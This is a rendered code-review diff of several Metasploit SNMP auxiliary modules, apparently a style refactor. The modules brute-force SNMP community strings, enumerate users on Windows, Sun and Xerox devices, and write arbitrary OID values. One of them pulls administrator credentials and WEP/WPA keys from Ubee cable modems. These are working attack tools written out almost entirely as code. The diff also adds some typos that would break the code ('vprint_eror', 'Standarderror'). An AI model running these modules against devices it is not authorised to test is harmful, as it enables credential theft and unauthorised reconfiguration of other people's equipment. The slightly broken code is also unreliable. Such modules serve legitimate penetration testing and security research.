if sys_desc.blank? || sys_desc.to_s == 'Null'
|
||||
vprint_error("#{peer} No sysDescr received")
|
||||
return
|
||||
end
|
||||
sys_desc = sys_desc.split(/[\r\n]/).join(' ')
|
||||
|
||||
sys_desc_map = {
|
||||
/Windows/ => '1.3.6.1.4.1.77.1.2.25',
|
||||
/Sun/ => '1.3.6.1.4.1.42.3.12.1.8'
|
||||
}
|
||||
|
||||
matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values
|
||||
if matching_oids.empty?
|
||||
vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'")
|
||||
return
|
||||
end
|
||||
users = []
|
||||
|
||||
matching_oids.each do |oid|
|
||||
snmp.walk(oid) do |row|
|
||||
row.each { |val| users << val.value.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
unless users.empty?
|
||||
users.sort!
|
||||
users.uniq!
|
||||
print_good("#{peer} Found #{users.size} users: #{users.join(', ')}")
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
update: :unique_data,
|
||||
type: 'snmp.users',
|
||||
data: { users: users }
|
||||
)
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::SNMP::RequestTimeout
|
||||
# too noisy for a scanner
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -13,40 +13,45 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SNMP Community Login Scanner',
|
||||
'Name' => 'SNMP Community Login Scanner',
|
||||
'Description' => %q{
|
||||
This module logs in to SNMP devices using common community names.
|
||||
},
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0508' ], # Weak password
|
||||
[ 'CVE', '1999-0517' ],
|
||||
[ 'CVE', '1999-0516' ],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => 'hdm',
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0508' ], # Weak password
|
||||
[ 'CVE', '1999-0517' ],
|
||||
[ 'CVE', '1999-0516' ],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(161),
|
||||
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
|
||||
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
|
||||
OptString.new('PASSWORD', [ false, 'The password to test' ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing communities, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "snmp_default_pass.txt")
|
||||
])
|
||||
])
|
||||
[
|
||||
Opt::RPORT(161),
|
||||
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
|
||||
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
|
||||
OptString.new('PASSWORD', [ false, 'The password to test' ]),
|
||||
OptPath.new('PASS_FILE', [
|
||||
false, 'File containing communities, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'snmp_default_pass.txt')
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE')
|
||||
end
|
||||
|
||||
# Operate on a single host so that we can take advantage of multithreading
|
||||
def run_host(ip)
|
||||
|
||||
collection = Metasploit::Framework::CommunityStringCollection.new(
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD']
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::SNMP.new(
|
||||
@@ -67,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
@@ -77,12 +82,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
print_good "#{ip}:#{rport} - Login Successful: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
|
||||
report_service(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:name => 'snmp',
|
||||
:info => result.proof,
|
||||
:state => 'open'
|
||||
host: ip,
|
||||
port: rport,
|
||||
proto: 'udp',
|
||||
name: 'snmp',
|
||||
info: result.proof,
|
||||
state: 'open'
|
||||
)
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
@@ -99,7 +104,4 @@ class MetasploitModule < Msf::Auxiliary
|
||||
datastore['PROTOCOL']
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
@@ -3,46 +3,68 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SNMP Set Module',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SNMP Set Module',
|
||||
'Description' => %q{
|
||||
This module, similar to snmpset tool, uses the SNMP SET request
|
||||
to set information on a network entity. A OID (numeric notation)
|
||||
and a value are required. Target device must permit write access.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
},
|
||||
'References' => [
|
||||
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
|
||||
[ 'URL', 'http://www.net-snmp.org/docs/man/snmpset.html' ],
|
||||
[ 'URL', 'http://www.oid-info.com/' ],
|
||||
],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [CONFIG_CHANGES],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('OID', [ true, "The object identifier (numeric notation)"]),
|
||||
OptString.new('OIDVALUE', [ true, "The value to set"]),
|
||||
OptString.new('OID', [ true, 'The object identifier (numeric notation)']),
|
||||
OptString.new('OIDVALUE', [ true, 'The value to set']),
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
oid = datastore['OID'].to_s
|
||||
oidvalue = datastore['OIDVALUE'].to_s
|
||||
comm = datastore['COMMUNITY'].to_s
|
||||
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
|
||||
oid = datastore['OID'].to_s
|
||||
oidvalue = datastore['OIDVALUE'].to_s
|
||||
comm = datastore['COMMUNITY'].to_s
|
||||
print_status("Try to connect to #{ip}...")
|
||||
|
||||
snmp = connect_snmp
|
||||
# get request
|
||||
check = snmp.get_value(oid)
|
||||
|
||||
print_status("Try to connect to #{ip}...")
|
||||
if check.to_s =~ /Null/
|
||||
check = '\'\''
|
||||
end
|
||||
|
||||
print_status("Check initial value : OID #{oid} => #{check}")
|
||||
|
||||
# set request
|
||||
varbind = SNMP::VarBind.new(oid, SNMP::OctetString.new(oidvalue))
|
||||
resp = snmp.set(varbind)
|
||||
|
||||
if resp.error_status == :noError
|
||||
|
||||
print_status("Set new value : OID #{oid} => #{oidvalue}")
|
||||
|
||||
# get request
|
||||
check = snmp.get_value(oid)
|
||||
@@ -51,41 +73,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
check = '\'\''
|
||||
end
|
||||
|
||||
print_status("Check initial value : OID #{oid} => #{check}")
|
||||
print_status("Check new value : OID #{oid} => #{check}")
|
||||
|
||||
# set request
|
||||
varbind = SNMP::VarBind.new(oid,SNMP::OctetString.new(oidvalue))
|
||||
resp = snmp.set(varbind)
|
||||
|
||||
if resp.error_status == :noError
|
||||
|
||||
print_status("Set new value : OID #{oid} => #{oidvalue}")
|
||||
|
||||
# get request
|
||||
check = snmp.get_value(oid)
|
||||
|
||||
if check.to_s =~ /Null/
|
||||
check = '\'\''
|
||||
end
|
||||
|
||||
print_status("Check new value : OID #{oid} => #{check}")
|
||||
|
||||
else
|
||||
print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'")
|
||||
end
|
||||
|
||||
rescue ::SNMP::RequestTimeout
|
||||
print_error("#{ip} - SNMP request timeout with community '#{comm}'.")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{ip} - 'Connection Refused'")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
else
|
||||
print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'")
|
||||
end
|
||||
rescue ::SNMP::RequestTimeout
|
||||
print_error("#{ip} - SNMP request timeout with community '#{comm}'.")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{ip} - 'Connection Refused'")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,147 +11,152 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Ubee DDW3611b Cable Modem Wifi Enumeration',
|
||||
'Name' => 'Ubee DDW3611b Cable Modem WiFi Enumeration',
|
||||
'Description' => %q{
|
||||
This module will extract WEP keys and WPA preshared keys from
|
||||
certain Ubee cable modems.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
output_data = {}
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/
|
||||
print_good("#{ip}")
|
||||
wifiinfo = ""
|
||||
unless snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/
|
||||
vprint_eror("#{ip} system is not DDW3611")
|
||||
return
|
||||
end
|
||||
|
||||
# System user account and Password
|
||||
username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
||||
print_good("Username: #{username}")
|
||||
wifiinfo << "Username: #{username}" << "\n"
|
||||
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
print_good("Password: #{password}")
|
||||
wifiinfo << "Password: #{password}" << "\n"
|
||||
print_good(ip.to_s)
|
||||
wifiinfo = ''
|
||||
|
||||
wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
|
||||
if wifistatus == 1
|
||||
ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12')
|
||||
print_good("SSID: #{ssid}")
|
||||
wifiinfo << "SSID: #{ssid}" << "\n"
|
||||
# System user account and Password
|
||||
username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
||||
print_good("Username: #{username}")
|
||||
wifiinfo << "Username: #{username}" << "\n"
|
||||
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
print_good("Password: #{password}")
|
||||
wifiinfo << "Password: #{password}" << "\n"
|
||||
|
||||
# Wifi Security Version
|
||||
wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12')
|
||||
if wifiversion == "0"
|
||||
print_line("Open Access Wifi is Enabled")
|
||||
wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
|
||||
if wifistatus == 1
|
||||
ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12')
|
||||
print_good("SSID: #{ssid}")
|
||||
wifiinfo << "SSID: #{ssid}" << "\n"
|
||||
|
||||
# WEP enabled
|
||||
elsif wifiversion == "1"
|
||||
weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12')
|
||||
if weptype == "2"
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1')
|
||||
key1 = "#{wepkey1}".unpack('H*')
|
||||
print_good("WEP KEY1: #{key1}")
|
||||
wifiinfo << "WEP KEY1: #{key1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2')
|
||||
key2 = "#{wepkey2}".unpack('H*')
|
||||
print_good("WEP KEY2: #{key2}")
|
||||
wifiinfo << "WEP KEY2: #{key2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3')
|
||||
key3 = "#{wepkey3}".unpack('H*')
|
||||
print_good("WEP KEY3: #{key3}")
|
||||
wifiinfo << "WEP KEY3: #{key3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4')
|
||||
key4 = "#{wepkey4}".unpack('H*')
|
||||
print_good("WEP KEY4: #{key4}")
|
||||
wifiinfo << "WEP KEY4: #{key4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
|
||||
print_good("Active Wep key is #{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
# Wifi Security Version
|
||||
wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12')
|
||||
if wifiversion == '0'
|
||||
print_line('Open Access Wifi is Enabled')
|
||||
|
||||
elsif weptype == "1"
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1')
|
||||
key1 = "#{wepkey1}".unpack('H*')
|
||||
print_good("WEP KEY1: #{key1}")
|
||||
wifiinfo << "WEP KEY1: #{key1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2')
|
||||
key2 = "#{wepkey2}".unpack('H*')
|
||||
print_good("WEP KEY2: #{key2}")
|
||||
wifiinfo << "WEP KEY2: #{key2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3')
|
||||
key3 = "#{wepkey3}".unpack('H*')
|
||||
print_good("WEP KEY3: #{key3}")
|
||||
wifiinfo << "WEP KEY3: #{key3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4')
|
||||
key4 = "#{wepkey4}".unpack('H*')
|
||||
print_good("WEP KEY4: #{key4}")
|
||||
wifiinfo << "WEP KEY4: #{key4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
|
||||
print_good("Active Wep key is #{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
# WEP enabled
|
||||
elsif wifiversion == '1'
|
||||
weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12')
|
||||
if weptype == '2'
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1')
|
||||
key1 = wepkey1.to_s.unpack('H*')
|
||||
print_good("WEP KEY1: #{key1}")
|
||||
wifiinfo << "WEP KEY1: #{key1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2')
|
||||
key2 = wepkey2.to_s.unpack('H*')
|
||||
print_good("WEP KEY2: #{key2}")
|
||||
wifiinfo << "WEP KEY2: #{key2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3')
|
||||
key3 = wepkey3.to_s.unpack('H*')
|
||||
print_good("WEP KEY3: #{key3}")
|
||||
wifiinfo << "WEP KEY3: #{key3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4')
|
||||
key4 = wepkey4.to_s.unpack('H*')
|
||||
print_good("WEP KEY4: #{key4}")
|
||||
wifiinfo << "WEP KEY4: #{key4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
|
||||
print_good("Active Wep key is #{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
|
||||
else
|
||||
print_line("FAILED")
|
||||
end
|
||||
|
||||
# WPA enabled
|
||||
elsif wifiversion == "2"
|
||||
print_line("Device is configured for WPA ")
|
||||
wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
|
||||
print_good("WPA PSK: #{wpapsk}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
|
||||
|
||||
# WPA2 enabled
|
||||
elsif wifiversion == "3"
|
||||
print_line("Device is configured for WPA2")
|
||||
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
|
||||
print_good("WPA2 PSK: #{wpapsk2}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk2}" << "\n"
|
||||
|
||||
# WPA Enterprise enabled
|
||||
elsif wifiversion == "4"
|
||||
print_line("Device is configured for WPA enterprise")
|
||||
|
||||
# WPA2 Enterprise enabled
|
||||
elsif wifiversion == "5"
|
||||
print_line("Device is configured for WPA2 enterprise")
|
||||
|
||||
# WEP 802.1x enabled
|
||||
elsif wifiversion == "6"
|
||||
print_line("Device is configured for WEP 802.1X")
|
||||
|
||||
else
|
||||
print_line("FAILED")
|
||||
end
|
||||
elsif weptype == '1'
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1')
|
||||
key1 = wepkey1.to_s.unpack('H*')
|
||||
print_good("WEP KEY1: #{key1}")
|
||||
wifiinfo << "WEP KEY1: #{key1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2')
|
||||
key2 = wepkey2.to_s.unpack('H*')
|
||||
print_good("WEP KEY2: #{key2}")
|
||||
wifiinfo << "WEP KEY2: #{key2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3')
|
||||
key3 = wepkey3.to_s.unpack('H*')
|
||||
print_good("WEP KEY3: #{key3}")
|
||||
wifiinfo << "WEP KEY3: #{key3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4')
|
||||
key4 = wepkey4.to_s.unpack('H*')
|
||||
print_good("WEP KEY4: #{key4}")
|
||||
wifiinfo << "WEP KEY4: #{key4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
|
||||
print_good("Active Wep key is #{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
|
||||
else
|
||||
print_line("WIFI is not enabled")
|
||||
end
|
||||
end
|
||||
# Woot we got loot.
|
||||
loot_name = "ubee_wifi"
|
||||
loot_type = "text/plain"
|
||||
loot_filename = "ubee_wifi.txt"
|
||||
loot_desc = "Ubee Wifi configuration data"
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
|
||||
print_good("WiFi Data saved: #{p}")
|
||||
print_line('FAILED')
|
||||
end
|
||||
|
||||
rescue ::SNMP::UnsupportedVersion
|
||||
rescue ::SNMP::RequestTimeout
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
# WPA enabled
|
||||
elsif wifiversion == '2'
|
||||
print_line('Device is configured for WPA ')
|
||||
wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
|
||||
print_good("WPA PSK: #{wpapsk}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
|
||||
|
||||
# WPA2 enabled
|
||||
elsif wifiversion == '3'
|
||||
print_line('Device is configured for WPA2')
|
||||
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
|
||||
print_good("WPA2 PSK: #{wpapsk2}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk2}" << "\n"
|
||||
|
||||
# WPA Enterprise enabled
|
||||
elsif wifiversion == '4'
|
||||
print_line('Device is configured for WPA enterprise')
|
||||
|
||||
# WPA2 Enterprise enabled
|
||||
elsif wifiversion == '5'
|
||||
print_line('Device is configured for WPA2 enterprise')
|
||||
|
||||
# WEP 802.1x enabled
|
||||
elsif wifiversion == '6'
|
||||
print_line('Device is configured for WEP 802.1X')
|
||||
|
||||
else
|
||||
print_line('FAILED')
|
||||
end
|
||||
|
||||
else
|
||||
print_line('WiFi is not enabled')
|
||||
end
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'ubee_wifi'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'ubee_wifi.txt'
|
||||
loot_desc = 'Ubee WiFi configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
|
||||
print_good("WiFi Data saved: #{p}")
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::SNMP::RequestTimeout => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue Standarderror => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,52 +11,67 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
|
||||
'Description' => %q{
|
||||
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
|
||||
'Description' => %q{
|
||||
This module will do user enumeration based on the Xerox WorkCentre present on the network.
|
||||
SNMP is used to extract the usernames.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'pello <fropert[at]packetfault.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [
|
||||
'pello <fropert[at]packetfault.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('sysDescr.0') =~ /Xerox/
|
||||
@users = []
|
||||
285222001.upto(285222299) { |oidusernames|
|
||||
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
|
||||
row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
|
||||
end
|
||||
}
|
||||
print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
|
||||
sys_desc = snmp.get_value('sysDescr.0')
|
||||
|
||||
@users.each do |user|
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:update => :unique_data,
|
||||
:type => 'xerox.workcenter.user',
|
||||
:data => { :user => user })
|
||||
unless sys_desc =~ /Xerox/
|
||||
print_error("#{ip} is not Xerox: #{sys_desc}")
|
||||
return
|
||||
end
|
||||
|
||||
@users = []
|
||||
285_222_001.upto(285_222_299) do |oidusernames|
|
||||
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
|
||||
row.each do |val|
|
||||
next if val.nil?
|
||||
next if val.value.blank?
|
||||
|
||||
@users << val.value.to_s
|
||||
end
|
||||
end
|
||||
|
||||
# No need to make noise about timeouts
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
|
||||
print_good("#{ip} Found Users: #{@users.uniq.sort.join(', ')} ")
|
||||
|
||||
@users.each do |user|
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: datastore['RPORT'],
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
update: :unique_data,
|
||||
type: 'xerox.workcenter.user',
|
||||
data: { user: user }
|
||||
)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
|
||||
# No need to make noise about timeouts
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user